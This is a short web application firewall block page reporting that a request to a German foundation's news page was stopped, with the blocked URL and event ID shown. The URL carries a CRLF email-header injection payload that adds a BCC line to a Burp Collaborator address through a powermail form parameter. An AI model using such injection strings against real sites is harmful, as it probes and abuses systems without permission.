Web Application Firewall

This transfer is blocked by a Web Application Firewall.

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URL http://www.sielmann-stiftung.de/news/seite/4/?tx_powermail_pi1%5Baction%5D=create%0D%0ABCC:b3f3epmtortrfbjqz1w1e5iotfz7qvio6ft6hv@burpcollaborator.net%0D%0Ardr:%20a&tx_powermail_pi1%5Bcontroller%5D=Form&cHash=307e93e92dd50435c5c95317fa1ba3e3
Event ID 30000139
Event Type signature